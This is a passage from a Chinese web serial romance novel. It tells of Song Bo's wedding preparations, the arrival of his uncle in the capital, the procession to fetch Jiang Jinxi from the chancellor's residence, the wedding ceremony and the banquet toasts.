没想着看病还能有喜糖拿,来百安馆看病的客人越来越多,加上江金熙和宋茶栽两人,医馆内共有四个大夫,但客人多着连四个大夫连轴转都有些忙不过来。无法,江金熙紧急又招了两个大夫来,开门营业第一月净利润便达到二十两之多。 八月底,刘南民从近里村赶了上来,医馆里又加了个帮手。 宋泊想着请宋里正、李五、路砚知他们,再加上宋茶栽的一些朋友,便早早写了请帖由驿卒送去,那些人住得远,参加喜宴得提早通知上。住于京城的人便无需那么着急,等着十一月初再一道发请帖也成。 十一月一日,宋泊携请帖到天少阁发于同僚。 谢长拿着手里有些烫金的红色喜帖,道:“这是你的喜帖吗!” 宋泊点头,“嗯,腊月十一,欢迎谢同僚来参席。” 沈端墨比谢长晚到明净轩,他把撑着的伞支在门口,在门外拍净了雪花才走进明净轩。 “沈同僚你瞧,宋同僚要成亲了!”谢长一根粗神经,见着沈端墨来了马上便分享宋泊的喜事。 宋泊也是准备了沈端墨的那份请帖,不想与沈端墨打交道是一回事,但这事儿不能搬到明面上来,天少阁郎君成婚只有沈少郎君没收到请帖,这传出去可不得坏了他自个儿的名声,落了个小肚鸡肠的名头。反正请帖送了,他来不来是他的事儿。 沈端墨接过宋泊的请帖直接放在桌上,道:“晚些时候我会看的。” 宋泊也不管沈端墨什么态度,在忙完早晨的事儿以后,他拿着请帖去寻天少卿,送请帖顺道请婚假。 “跟江公子的成亲的喜帖可算来了。”先前宋泊与江金熙定亲的事儿可是传遍了整个官圈儿,天少卿一直等着喜帖,可算是等着了,他拿着喜帖看了看,满意地点头,“这字定是你写的,字如其人,好看好看。” “多谢陈卿谬赞,拙字罢了,不足挂齿。”宋泊谦虚道:“宋泊腊月十一成婚,因着婚事便相与陈卿请个短假。” 天少卿想也没想直接就应下了宋泊请假的事儿,宋泊此人做事谨慎认真,圣上不止一次说过宋泊是个人才,等年后调迁,宋泊定会往上迁,这时与他个方便可是百利而无一害。 再说,天少卿本来也喜欢这般踏实肯干的人,不过请个婚假,短短七日不碍什么事。 没曾想天少卿答应得如此爽快,宋泊后退一步与天少卿行礼,“多谢陈卿。” 天少卿扶起宋泊,而后捋了把胡子呵呵乐道:“无妨,喜宴多摆些好菜就是。” 第162章 第一百六十二章刘南民来了。…… 八月底,刘南民将田里种出来的草药都卖了后,跟着往京城走的商队一块儿入了京。他从未来过京城,乍一下进入瞧着京城城门还有些惊讶,那城门高的,他的头得昂得老高才能瞅着城墙顶。 两个带刀的士兵细细检查着每个入城的人,倒让刘南民有些紧张,还好他没带什么违禁物品,士兵查过他的行囊便让他进了。 刘南民带着自己的东西与商队分道扬镳,寻着宋泊给的地址就找了去。 现下宋泊在周围邻居中名声可是响亮,刘南民到了个大致的位儿一打听,就有热心百姓给他指了宋宅的位置。 宋泊这小子确实有出息,都能在京城这地儿买院子了。 宋宅门往里头打开来,是个刘南民不熟悉的生面孔。 阿军瞧着来访者问道:“你是?” “这儿可是宋泊宋状元的宅子?”刘南民问。 “正是。”阿军答。 刘南民自我介绍道:“我是宋泊的姑父,我叫刘南民。” 先前宋泊与阿军已经打过招呼,阿军知晓主君的姑父大概这几日到,便一直留心着,“原来是主君的姑父,快里面请。” 刘南民随着阿军往里头走,一路瞧着宋泊买的这个院子,这院子不大但是敞亮,住宋泊与江金熙两人也是够了。 “这儿便是宋夫人住的屋。”阿军把刘南民引到宋茶栽的屋子,又与他说了两句有事可唤院里的侍女春杏和秋菊,便转了身又守门去了。 这屋子收拾得整洁,确实像是他家阿栽的作风,刘南民将自己沾了不少尘土的行囊先往屋内桌上一放,而后将里头干净衣裳拿出来往衣柜里一搁,为了宋泊成亲那日有面,他还给自己和宋茶栽都定了套新装,压在行囊最底下,可宝贝着。 “哎呀,都皱了。”刘南民拿着最底下两件新衣起来瞧,发觉衣裳被上头衣物压着都皱了去,只能到外头寻春杏拿过两个衣架,把衣服支起来,好自然变平整。 把行囊清了个空,刘南民拎着空布洗了洗,洗干净晾了起来,才出门寻人去。他在家闲着也是闲着,听闻江金熙在京城也开了个百安馆,他正好能过去瞧瞧有没有活儿做。 宋泊刚帮江金熙把病人送到门口,与他嘱咐注意事项时,眼睛瞥着街头出现个熟悉的身影,瞧着可像刘南民,等他近了几步他才发现,那哪儿是像,分明就是刘南民本人。 病人谢了宋泊一声,离了店,宋泊赶紧出门迎人,“姑父,你可来了。” “你怎的在这儿?今日不上朝?”刘南民倒是没想着在百安馆第一个遇着的人会是宋泊。 “今儿休沐,我来医馆帮忙。”宋泊边说边迎着刘南民往里头走,“这会儿他们都在忙,只有我闲些。” 刘南民一进馆便四处瞧着,这医馆可是好,布局合理,该有的都有,俨然就是一家正规的医馆模样。他在来之前还担心呢,就怕江金熙年轻,砸钱买教训,现在瞧来,哪儿买了教训,分明像模像样,开得很好。 刘南民自己给自己倒了杯水饮尽,挥手赶宋泊,“无妨,你忙着去,我等会儿也找点活儿做做。” “姑父你才刚到京城,哪儿能马上做活,还是歇两日吧。”宋泊道。 虽然从近里村到京城这一路上刘南民都是坐的马车,但坐马车也熬人,不比做一天活儿轻松多少。 刘南民乐呵道:“农里人哪儿闲得住,你别管我了,金熙都喊了。” 江金熙掀开诊室门帘,先一嘴“宋泊”出声,随后发现刘南民来了,又与刘南民行了个礼,说着忙完就来。 宋泊“诶”了一声,转头与刘南民道:“那你自个儿安排。” 宋泊刚进诊室内,便听着江金熙小声问他,“姑父来了你怎的不喊我一声?” “刚到,我才与他说一会儿话而已。”宋泊说:“什么活?” “这副药你帮我拿去药师那儿,我给病人正骨一下。”江金熙说着从桌上拿起写好的药方塞到宋泊手中。 “好。”宋泊应声。 晚了,夕阳渐渐落入山头,医馆闲下来,大伙儿才有空聚一起说上几句话。 刘南民一下午也帮着跑了跑腿,不过因着人生地不熟,不能去外头送药,就只能在医馆内帮些小忙。 天色又沉下几分,江金熙特意早关了医馆,一家子到饭馆里吃上一顿。 “这菜这么一点点就要二十钱?”刘南民瞧着菜价又看了眼盘内分量,忍不住抱怨一句,“不愧是京城的价。” 在京城中,百姓们一般都在自己家里吃饭,能下饭馆的手里多少都有些钱,所以京城里的饭馆主要是菜品精致,菜品一精致,价位就往上涨了不少。 “姑父你尽管吃,今儿我做东。”江金熙豪气道,怎么说自己作为京城人也得尽尽地主之谊。 “成!”刘南民也豪声应着。 只是刘南民嘴上这么说,后头出了饭馆与江金熙分开来,他还是扯着宋泊带他去市集,在饭馆里他念着价高不敢多点,没吃饱硬撑着说饱了,所以后头出来只能去市集在买些别的填肚子。 宋泊领着刘南民和宋茶栽一道儿去了市集,给刘南民点了碗牛肉面吃,坐在摊位上,三人便聊起宋泊成亲的事儿。 “说是腊月十一就要成亲,婚服那些的可叫人做了?”刘南民只在信里听了成亲的事儿,具体什么情况还得见了面问才说得清楚。 “婚服让做了,衣服也定了,只是那席实在不好定。”宋茶栽说道。先头因为家中太小想着流水席,后头她与宋泊一合计,江家那面请的都是有官身在的人,不好急呼呼地用流水席赶人,便又想着定席,可一定席,先头的问题又漏了出来,属实是有些两难。 “我想着借外头街道摆个二十桌,就怕不够面儿。”宋泊道。 “哪儿不够面,咱给装饰得好看些不就成了。”刘南民说。 往常在村里,宴席家中摆不下,都往村道外头摆着,也没人说个不满,到了京城却是规矩颇多。 “我觉着也只有这个法子。”宋泊道,流水席实在不合适,两相比较之下,将街道桌儿装饰着好看些,再请些人护着,算是比较合理的法子,“明儿我去打听看看,看看怎么个装饰法子,买的东西得赶紧定下。” 宋泊问了江金熙,又问了些官场上关系近些的同僚,大伙儿给的建议都差不多,先要宋泊去寻卫尉、廷尉、宗正三处将宅外的地申请下来,到时会有宗正的人帮忙布置,无需宋泊担心。 如此倒是解决了宋泊一个大问题,宗正是专门负责礼仪的部门,他们布置起来的地儿肯定与私家布置不同,到时那些入宴官员们被分着坐外头了,也找不着什么理由来责怪他。 宋泊顶着天少阁的背景,身上有状元和大/三元的头衔在,与他成婚的又是丞相家的哥儿,卫尉、廷尉、宗正三处只是问了问详情便让他过了。 时间一瞬来到腊月十日,成亲前一日。 天少卿给他放的假自腊月九日开始到腊月十八日,共十天,古代没有什么蜜月假,放十天算是很标准的官员成亲假。 快要成亲,宋泊的心止不住加快几分,他按时起床,穿戴整齐等着宗正的人来。 “主君,早饭已经备好了。”简言瞧着宋泊从房内出来,赶紧到宋泊面前问道,常乐跟在他的脚边安静非常,只是尾巴摇动的弧度大了几分,跟人待久了他总有几分机灵,知晓这几日是主人最重要的时候,便不敢乱跑、乱叫着捣乱。 宋泊与宋茶栽、刘南民先吃了早饭,随后投入宴席布置之中,宗正的人已经来布置两日了,今日再收个尾即可。 宋茶栽看着刘南民挂上去的火红灯笼,忍不住说道:“瞧,这红喜灯笼往外一挂,那氛围可不就出来了。” 街外支了个简易的木头架子,木头架子下摆了十五张圆桌,剩下的五十张桌子往院子里头挤了挤,虽然有几分拥挤,但上菜的侍人可以走动便足矣。 与饭馆借的碗、盘、筷、勺在这时也送了来,宋泊让简言带他们进院去,寻处放好,有两个厨子跟着送碗筷的车队先一日来了,有些菜需提早备上,不然明儿来不及。 瞧着一大波人在自家院子里来来往往,宋泊这才明白成一门亲是有多么不容易,一切事情都得紧紧盯着,不可出一丝差错。 午时过了一会儿,宗正博士过来与宋泊说:“宋郎君你看看,这般装饰下来就结束了。” 如今江金熙为了婚前避嫌,连百安馆也未去,自不会到宋宅来,宋泊无法与他商量只能自己拿主意。 宗正不愧是负责礼仪的部门,宅子外头的宴桌装扮装得妥当,一丝错误也瞧不得。 “武博士可辛苦。”宋泊与宗正博士之一的武博士行了一礼。 “可客气,给宋郎君的喜事布置场地哪儿会辛苦。”武博士把宋泊扶起来,“明儿个就能瞧着宋郎君骑着高头大马的模样,想来定会迷倒不少京城女子、哥儿。” “武博士说笑了。”宋泊礼貌回道。 卫尉、廷尉、宗正帮他许多,宋泊这喜帖自也发了过去,六十五桌席估摸着能空出个三桌来,还有一些没组起来的桌子,还能坐下十桌人,应当够了。 “行,那我就明日再来了。”武博士拍了宋泊肩膀两下,领着宗正的人离了宋宅。 宗正的人忙完了,宋宅的人的硬仗可才刚刚开始。 第163章 第一百六十三章迎亲。 花了一下午的时间检查过无纰漏后,宋家人酉时吃了个简单的晚餐对付一下,就都入房歇息,只留着阿军看门,等他们醒了,阿军再换去休息。 夜正深,天上挂着繁星,月亮躲进云层之中,整条街安安静静,正是好睡的时候。 宋泊被宋茶栽从被窝里挖了出来。 “什么时辰了?”宋泊迷茫地睁开眼睛,觉着自己才刚刚睡下就被人叫了起来。 酉时睡觉时间太早,再加上宋泊心底紧张,一直想着明天的事儿脑袋灵活,所以他在床上硬躺许久,不知是何时睡着的。 “子时刚过,快起来准备了。” 宋茶栽把宋泊的被子往外一掀,周遭的寒气迅速侵入,被寒气一冻,宋泊瞬间就清醒了,他从床上爬起来,身子一转,两脚插/入鞋中,春杏捧着烧好的洗脸水进来,宋泊洗漱一番,在梳妆桌前坐下,这桌子还是他给江金熙买的,没想着江金熙还未用上,他先体验了一把。 曾媒人带着化妆姑娘走入正房内,她先唤化妆姑娘给宋泊画个浅妆,后头再穿喜服,免得脂粉落下来脏了喜服。 化妆姑娘跟着曾媒人多年,手下画过的新人没有上千也有成百,宋泊的脸算是上天赏饭吃,肤质很好没什么瑕疵,简单上些粉再把眼睛化下就行。 趁着这个化妆的时间,宋茶栽回屋换上自己新买的衣裳,顺便把刘南民叫起来,京城的冬天实在是冻得很,人往被窝里一钻便不乐意动弹。 “曾姐您瞧瞧,如此可成?”化妆姑娘化了一刻钟,唤曾媒人来瞧。 曾媒人放下手中的桂圆、花生,先一步到梳妆台前看宋泊,宋泊的确是底子好,略施脂粉便将他的俊帅往上又提了几个度,曾媒人满意极了,连声道:“好好,就这样。” 听曾媒人连连道好,宋泊又往镜子里瞧了几分,这镜子并没有现代镜子那般明亮,只能看个大概,还是得人眼瞧来才只化得好是不好。 “宋公子你往这儿来,那位子让出来给你大姑。”曾媒人道,宋家只有三个人需要化妆,故而她只带了一个化妆姑娘来,大家轮着化,也不阻碍着谁。 宋茶栽听着轮到自己了,从厨房许婆婆那捎了两个馒头进屋给宋泊,“简单垫吧下。” 接下来还有很多事儿要做,现在不啃两个馒头填填肚子,后头可能就没了吃饭的时间。 曾媒人手上放坚果的活儿还没忙完,便喊宋泊先把馒头吃了,等她一会儿。 宋泊往房内的木凳上一坐,瞧着春杏和秋菊正在换他床上的床具,把备好的大喜床单拿来铺上,心中越发紧张了。离正式成亲还有半天,他那颗心就像上了高速发条一样,一下一下跳得可快,完全降不下来。 “成了,这个盘这样就行。”曾媒人把象征多子多福的桂圆、花生、桂圆、莲子放在四空盘内,又拿了些散装的四喜果放在边上,叫春杏和秋菊等会床铺好了把四喜果撒上去。 “宋公子来,穿衣裳。”曾媒人洗了手,唤宋泊穿喜服。 喜服形制复杂,宋泊一个人研究了会儿也没研究明白如何穿上,只能等着曾媒人与他搭把手。 这喜服与江金熙那件喜服一家店出品,是官方供应喜服的地儿,重工繁复、量身定做,一套衣服二十两,很是华贵。 “来,抬手。”曾媒人让宋泊如何做,宋泊便如何做,就算有人帮着,宋泊还是穿了一刻钟时间,才将一整套喜服穿在身上。 喜服也是当真对得起它的价格,一上身,宋泊便觉着自己的行动收到了限制,抬腿还好,伸手便有些压力。 宋茶栽让化妆姑娘手先停会儿,她转眸过来瞧着身后穿好喜服的宋泊,没忍住道了句,“真好看,不愧是我宋家的人。” 宋泊瞧不着自己穿喜服的模样,他走两步到宋茶栽面前,问:“当真好看?” 宋茶栽的嘴角扬起,连连道:“好看、好看,你定是今日最好看的新郎官。” “那当然,宋公子可是我接过最好瞧的新郎官。”曾媒人在后头说道。 换好喜服,曾媒人开始与他说等会儿成亲的流程,等会儿天一亮他们就得骑上高头大马去丞相府迎亲,迎亲队列不能走得太快,花费多少时间曾媒人都算过,不可超速。 坐在马上的宋泊需昂首挺胸,坚持半个时辰。 到了丞相府,丞相府的人会将江公子带到院门内,成亲哥儿的脚不可落地,宋泊得站在院子外,将江公子抱上喜轿,等回了宋宅,又得抱着进正厅,如此才能放下。 宋泊听得认真,将曾媒人一字一句都牢记在心,外头天蒙蒙亮起,从饭馆请来的厨师正在厨房里忙碌,宋泊走过院子时闻着不少饭菜香。 卯时末,天空已然半亮,曾媒人瞧着时辰,让宋泊准备准备,准备上马。阿丁将属于他的高头大马牵来,那马儿胸前挂了个大红花,身上的马鞍也换成红色的马鞍,看来喜庆。 自定了成亲的日子,宋泊每月都会寻两三日去骑马,为的就是在成亲这日不拉跨,雄赳赳气昂昂地坐马前往丞相,接他的宝贝金熙。 宋泊一手拉着马鞍,一脚踩着马镫,一个翻身利落上马,稳稳坐在马鞍上。这种迎亲队列的马都是精挑细选的脾气好,一路上鞭炮声吵闹,马若是被惊着乱跑起来,可就得酿成事故了。 宋茶栽在宋泊边上,她矮了一身往上看,立即化身小迷妹,“这是哪家的侄儿,可真俊呐。” “这般出去正合适,威风凛凛。”刘南民也在一旁夸道。 除了这匹高头大马,迎亲车队的其他人和其它马儿都在宅子外等着,宋媒人算着时间,“宋公子你可以出去了。” 阿军和阿丁两人将宅院大门拉开,宋泊一袭喜服驾着马儿缓缓走出院子,微风一阵,吹起他的衣角,他坐着马儿到车队前列领头,站在车队中央的乐队曲儿一响,宋泊领队整列车队开始行进。 “这新郎官也忒俊了,谁家哥儿、姑娘嫁他都是幸福呐。” “那可不,不仅俊还有学识,上哪儿找这么好的夫君。” “我听着这宋状元娶的可是丞相家的哥儿,真是郎才哥儿貌,相配的嘞。” 边上看热闹的百姓们忍不住讨论着,状元娶夫郞,这可是个大喜事。 宋泊领着车队去丞相家,宋茶栽和刘南民则守在宋宅,先与边上邻居发些喜钱,而后等着入宴的客人来。 曾媒人走在宋泊身边,车队行进速度不快,她慢慢走着也能跟上。 车队后头有两个发喜钱的人,再往后便是放鞭炮的人,一路上噼里啪啦,热闹非常。 辰时中,宋泊准时到丞相府门口。 丞相府门前挂了大红绸,大门展开,门里门外都有很多江家人站着。 曾媒人与宋泊小声说道:“宋公子,请你从马上下来,进去接江公子。” 宋泊快速下马,先与站着门口的江家亲戚打了招呼,这些亲戚江金熙之前带他认识过,每个人他都认识,都叫对了称呼,每个人他都给了红包,是入门前的礼仪。 江家人满意地点头,放宋泊进院。 何媒人在院里等着,等宋泊来就领着他去正院里找江丞相和江夫人。 江丞相和江夫人穿着喜庆的红色衣裳,坐在正厅的主座上,宋泊一步跨入厅内,与江丞相和江夫人行礼,“江丞相、江夫人。” “准时来了。”江丞相端坐正位,语气平淡,只有江夫人知晓他究竟有多紧张,整个身体板正得跟木板似的,“都到这儿了,我只有一个要求。” “江丞相请讲。”宋泊乖顺垂眸。 “对金熙好。”江丞相道 “那是自然,我定爱他护他。”宋泊应声极快,几乎是江丞相的话音一落,他马上便接了上去。 男子说话有几分能信,多的是面上一套背里一套的人,江丞相不听面上好听的话,只看宋泊的所作所为。 “行了,去接他吧。”江丞相出言放行,宋泊才能接着往下步走。 何媒人继续在宋泊前头领着宋泊往江金熙的院子走去,宋泊刚走出正厅,江夫人拉着江丞相马上跟在后头,“这时可别要什么面子,孩子出嫁,不看悔一辈子。” “我没说不看呐,你、你别拽我,这鞋子太大,要掉的。”江丞相为自己辩解。 “就要你那个面儿,临了发现鞋子不够华丽还定个大的,该。”江夫人嘴上喋喋,拉江丞相的手却松了松,等江丞相将鞋子弄好,她才赶紧拉着江丞相往江金熙院子赶去。 江家院子挂了不少喜庆的红绸,宋泊走在其中,一路上都被红色相围。 “等会到了院子,你得小心抱着咱家哥儿,切记不可让江哥儿的脚落在地上。”何媒人边领路边与宋泊说着注意事项,两位媒人都是京城中颇有经验的媒人,说出来的话一模一样,也省了宋泊被两个规矩烦恼的问题。 “千万记着,就是强撑也要将哥儿抱进喜轿内才能松手。”何媒人再三嘱咐。 宋泊答:“何媒人尽管放心,且不说金熙他本来就轻,自当官以来我便每日锻炼,就算金熙是个大胖哥儿我也能将他稳稳抱进喜轿之中。” 听宋泊这么说,何媒人倒是没放在心上,以往她瞧了不少外强中干的人,抱上新娘子、新夫郞,没一会儿就软了脚,还得她们帮着掩饰才能上轿。 第164章 第一百六十四章成亲! 辰时七刻,宋泊到了江金熙的院子门前,临了要跨入院子,宋泊是又紧张又期待,紧张怕自己出错,期待想看看江金熙今日漂亮的模样。 “宋公子,请。”何媒人侧身摊手请宋泊,“江哥儿在里头等你。” 宋泊点了下头,踩着步子往房外走。 房内江金熙听着动静,问青桥,“可是宋泊来了?” “我听到何媒人的声音,应当是宋公子来了。”青桥守与门口,耳朵贴在门框上听着外头动静。 “好。”江金熙两手放在膝盖上,整个人可是僵硬。 先头没盖上盖头他还没这么紧张,自有侍人跑着送信过来说宋泊往院子里来了,青桥帮他把盖头轻轻盖上,他这才紧张起来。 “我应当没什么地方有问题吧?”江金熙不放心,又抬嘴问青桥。 青桥被江金熙逗笑了,道:“咱们都检查过三遍了,没有问题。” “好。”江金熙又是生硬应了声。 宋泊走到房门前,深吸了两口气,抬手敲门。 青桥自里面打开门,俯身与宋泊行礼,“宋公子。” “青桥,麻烦你将金熙牵来至门口。”宋泊站与门外说道,新郎官成亲当日不可进夫郞、娘子的房间,故而宋泊只能站在门口等着。 “是。”青桥应声,转身入了屋,将坐在床侧的江金熙牵了出来,“公子可小心,别绊着了。” 江金熙的喜服很长,前头裙片坠下来能盖着鞋子,再加上他头上戴着盖头瞧不着脚下的路,所以走来要十分小心。 “无妨,我会注意的。”江金熙用脚尖悄悄把衣裙掀开些再落脚,如此便不会被裙子绊着脚。 等了一会儿,宋泊等到了江金熙。 今日的江金熙自上到下皆是一身红色,头上盖着一个鸳鸯戏水的盖头,瞧不着面儿半分,浑身上下露在外头的只有那双白皙的手,一手搭在青桥的手上,一手则小心拉着裙子。 这身装束瞧来比他还不好走动,身上搭上不少东西,可沉,“慢些,不急”宋泊说道。 行至宋泊抬手搭得着的院门口,青桥领着江金熙停了下来,两人只一个门槛相隔,距离近了,宋泊闻着江金熙身上那股好闻的味道。 “宋公子,做好准备你就可以将江哥儿抱在怀中了。”何媒人说着,给青桥使了个眼色,青桥拿起边上搭在门框上的红伞,只等宋泊将他家公子抱起来,他就撑伞给公子遮着。 宋泊又深吸了两口,他怕江金熙看不到前面被他吓着,小声打*了声招呼,“金熙,我要抱你了。” 在这个时候说这个话实在让人羞得慌,江金熙羞道:“抱便抱,作何与我说一声。” “这不是怕你吓着。”宋泊说着,一手自江金熙腿弯下过,一手从他腋下穿过小心拢着,他屈起膝盖小心将江金熙颠了下调整姿势,而后将江金熙稳稳地抱在怀中。 宋泊一转身,青桥便高举着伞,“唰”的一声,红伞打开来,罩在江金熙的身上。 江金熙靠在宋泊怀中,两手紧攥着搁在胸前,耳边便是宋泊强有力的心跳声,这心跳可快,跟他的心跳声混在一起都听不出是谁更紧张一些了。 宋泊稳稳当当把江金熙从房内抱到府门口,江丞相和江夫人一路跟着,等着宋泊踏下台阶,弯腰将江金熙放到喜轿里时,江夫人才忍不住拿出手巾抹着泪。 江丞相虽然嘴上没说什么,但双眼也是湿润,虽说自家哥儿只是嫁到京城另外一处,但总归是嫁哥儿,江丞相舍不得,往后回来都听不着金熙与他甜甜叫爹爹了。 江夫人看着宋泊的动作,忍不住说道:“你说这明明是个大喜事,我怎的就那么想哭呢。” “是。”江丞相答。 本来以为江丞相会反驳自己的江夫人听到这个回答还有些意外,她悄悄偏了两眼,瞧着江丞相眼眶红红,她挽住江丞相的胳膊,道:“原来当初我爹娘瞧我嫁出去时,是这幅心情。” 喜轿内,宋泊瞧着这马车前头拉着车帘,两侧车窗帘也是盖着严实,江金熙头上再盖个盖头,恐怕会闷着难受,便出声与江金熙说道:“等会你要是觉得不透气就把盖头拿下来一会儿,没事的。” “才不。”江金熙抚上宋泊的手臂,一层厚厚的绸布料让他摸不着宋泊,“戴盖头是规矩,我才不要坏了规矩呢,咱们这可是要讨吉利的。” “那就依你。”宋泊牵着江金熙的手,“这手还是这么冰凉,要我说就该把手炉带上。” 江金熙听了笑道:“谁家成亲带手炉呀,多危险。”他拍了拍宋泊的手背,“我不冷的,你早点将我娶回去,我去喜房里暖和。” 京城的冬天比南方冷了不止一星半点,不能靠一身正气硬撑过去,索性宋泊还有官府每月送来的官炭,在屋里燃了也是温暖。 “你怎知我在喜房里点了炭?”宋泊道。 “你疼我,肯定不舍我冻着。”江金熙娇道:“到时你在外头喝酒迎客,我在里头瑟瑟发抖等你,想也知道肯定不可能的。” 宋泊拢了下江金熙的手,道:“聪明。” “宋公子,你还没好吗?”外头曾媒人瞧着这放人有些久了,便出言试探道。 宋泊这才松了江金熙的手,让他在轿子里自己安排,闷了就掀点盖头透气,这也不算误了规矩。 江金熙两手合着放在腹前,心里头美滋滋的。 宋泊将车帘放好,转身重新上马,随着礼乐声起,迎亲车队开始返程。 江丞相和江夫人见着车队远了,才把眼泪抹了,赶紧驱车赶去宋宅。 今日老天爷很是给面儿,未落雪还出了阳,阳光暖呼呼地照在身上可是舒服。 午时整,宋泊接着江金熙到了宋宅门口。 来宴的宾客聚在门口瞧热闹,不知是谁喊了声,“新夫郞来咯!”整个街道都热闹起来,此起彼伏的起哄声。 宋泊按着曾媒人所说,又轻柔地将江金熙从轿子中抱了出来,门口一个燃着的火盆烧着可旺,宋泊抱着江金熙快速地从火盆上过去,去去邪气,迎接美好未来。 江丞相和江夫人比宋泊快,已经坐在正屋上座。 因着这宴是在男方家办的,男方算是主家,故而刘南民和宋茶栽坐在左位,而江丞相和江夫人坐在右位。 进了正屋,宋泊将江金熙放于地上,两人之间拉着一条带有红花的红绸布。 边上皆是宾客,宋泊瞧着了李五一家、宋里正一家、还有路砚知和姜家兄妹,他请来的宾客都到了,可是欢喜。 “吉时到,婚姻之礼开始——”曾媒人高声道。 “一拜天地——” 宋泊迁就着江金熙,依着他的动作慢慢转身,两人一同俯身,朝着正屋外头行了一礼。 “二拜高堂——” 又需转身回来,宋泊依旧等着江金熙,等他转了过来他才跟着转身,与两家长辈行了礼。 瞧着这幕江夫人的眼泪更是藏不住,但现在是在行礼之中,她哭得眼睛花像什么样子,便强忍着憋了回去。 宋茶栽看着面前宋泊与江金熙低头对她,眼眶渐红,别儿个可能不知道,但她最是清楚两个小辈一路走来吃了多少苦,恍惚之间,她好像看见宋泊身上带了伤却还要去码头搬货的模样,一转眼又看着两人和和美美在她面前行礼,她忍不住张嘴道:“好好好,”声音都带了些哭腔。 “夫妻对拜——” 江金熙不方便挪动,宋泊便往他那侧小挪了两步,两人一弯腰,脑袋之间的距离只有一个指尖宽。 “礼成——送入洞房!”曾媒人抬声唤着,两侧宾客纷纷鼓起掌来。 宋泊抬手一拢,将江金熙重新抱回怀中,引得江金熙惊呼道:“去喜房不用抱的。” “没事,我看你衣着不便,抱着也快些。”宋泊笑道。 躲在盖头下的江金熙红了面,抬手锤了宋泊一下。 喜房已经准备好了,春杏和秋菊还燃了香,一进屋子便能闻着一股香气。 宋泊将江金熙放在床铺上,说道:“我在房间内藏了些吃食,你若饿了便拿来吃,青桥是自己人,他守在门外,你要是想去厕房了,喊他一声就是。” 江金熙得自己一人坐在喜房内坐好久,等着他在外面宴请完宾客,才会接着下面的洞房礼,这中间的时间很是熬人,宋泊便把能想着的东西都帮他安排好了。青桥是江金熙自小而大一块儿长大的侍人,这次江金熙嫁来,青桥也跟着一道儿过来,不过不是陪嫁侍人,而是还伺候江金熙的私人侍人。 江金熙听着宋泊一句一句说个不停,笑道:“行了,怎么跟我娘似的唠叨个不停。” “才几个时辰,我能待得住。”江金熙道:“你赶紧出去招待宾客吧,晚了人家说你懈怠。” “我先跟你说把我吃食藏在哪儿了。”宋泊拉着江金熙的手往床边一摸,床边梳妆桌左边第一个格子里藏了糕点和一些干粮,吃来是不好吃,但垫吧垫吧肚子还成。 江金熙点点头,表明自己记好了藏吃的的地方,又与宋泊道:“好啦,我会照顾好自己的,你快去吧。” 喜宴也是宋泊社交中的一环,今儿来了不少官员,正是适合人际交往的时候,可不能给别人落下个懈怠的印象。 “好,那我走了,有什么事你就与青桥说,青桥要是不在还有春杏和秋菊,她们也能帮你。”宋泊不放心又嘱咐一句。 “知道啦知道啦,可啰嗦。”江金熙道。 第165章 第一百六十五章洞房礼 宋泊让守在喜房前的青桥仔细听着里头动静,江金熙有任何需求他都要第一时间满足,若有什么拿不定主意的,只管去宴场找他就是。 “是,主君。”青桥道,自家公子嫁了宋泊做夫郞,他既陪着公子一道儿过来,那他对宋泊的称呼也得变了。 往后宋泊便是主君,而他家公子便成了主郎君。这般想来青桥还有些不习惯,毕竟叫来多年的少爷那是说改口就能改口的。 宋泊回到宴席坐入主桌。 江丞相见宋泊坐了回来,问:“都安排好了?” “都安排好了。”宋泊往江丞相那面侧了几分,压低声量答:“点了炭又放了些吃食,青桥也守在门外,金熙有什么需求他都听得着。” 听宋泊这么说,江丞相才小幅度地点了下头,他不管那些七啊八啊的,只要在流程的范围内,他不愿意自家哥儿吃那种无谓的苦。 等着宋泊坐入桌内,喜宴的主角回了座儿,侍人们才开始上菜,因着院内桌数多,宋泊还请了丞相府的侍人来帮忙,十几个侍人穿梭于喜宴之中,一盘一盘菜被端上了桌,速度很快,不会出现前头菜凉了后头菜刚上的情况。 最先上了一道汤,宋泊站起来帮身侧的江丞相、江夫人、宋茶栽和刘南民各接了一碗。 江夫人乐呵呵地接过宋泊给的汤,道:“还得是儿婿,瞧瞧,可孝顺。” “我家这侄儿就爱照顾自家人。”宋茶栽探着头与江夫人说道:“咱们现在一家人了,他肯定都照顾着。” 江夫人顺着宋茶栽的话往下说道:“好好好,就得这样的才行。” 上来一道菜,宋泊就拿着公筷给四位长辈布菜,一道宴席下来,自个儿没吃多少,都伺候人去了。 宋茶栽给宋泊夹了两筷子肉,“你多吃点,我见你都没怎么吃东西。” “无妨,我不怎么饿的。”宋泊道,紧张一日,都察觉不到饿了。 “那哪儿成,等会儿还有洞房礼要行,可得多吃些。”宋茶栽说着,又往宋泊碗里夹了不少。 四位长辈吃得差不多,由宋茶栽起了头,四位长辈一道陪宋泊起身去各桌敬酒。 边上离主桌最近的桌子坐的都是宋泊请来的宾客,瞧着宋泊走来,他们纷纷站起身,贺道:“恭喜恭喜。” 宋泊左手拿着酒壶,右手拿着小酒杯,与大家碰杯后,昂头就将酒喝了去。 “宋郎君好酒量。”姜升说着。 “那可不,我这兄弟可是深藏不露。”李五接话道。 路砚知一拍自己胸脯,“等会儿要是喝不下来来找我,我帮你挡。” “可别,你不知道自己酒量多少?这桌就你最弱,可别逞威风了。”姜轻直接给路砚知破了盆冷水,引得桌上人哈哈大笑。 宋泊与大伙儿说着等会再来叙旧,便与四位长辈一道儿去下桌敬酒。 今日宴席来了不少官员,官员们大多事务繁忙,能抽空来参加宴席已是够面儿,有些官员敬完酒就要离开,所以宋泊不好一桌停留太久,喝了酒就去往下一桌,有些想说的话等后头敬完了再去说也合适。 一圈六十五桌走下来花去半个时辰,酒一敬完,便走了些官员,空去大概十来桌。这也不算拂面子,毕竟那些官员确有要事在身,而且离席前都与宋泊知会过,算是迫不得已。 宋泊一坐回主桌便觉着脑袋有些涨,就算是掺了水的白酒,喝下去六十五小杯也是够劲。 宋茶栽瞧着宋泊这副样子,低头下来担心道:“可是有些晕了?” “不妨事。”宋泊揉了揉太阳穴,让宋茶栽帮他拿碗蜂蜜水来解解酒,想来是有些高估自己酒量了,这么一两白酒下肚,着实是有些受不住。 宋茶栽“诶”了一声,马上去厨房里帮他拿蜂蜜水。 一碗温热的蜂蜜水下肚,宋泊才觉着自己缓过来不少,吃席主要吃的前头,后面大伙儿饱了便是社交的时间。 宋泊许久未见自己南面的朋友,与四位长辈说了声,便坐到那桌去,与他们小聊一阵。 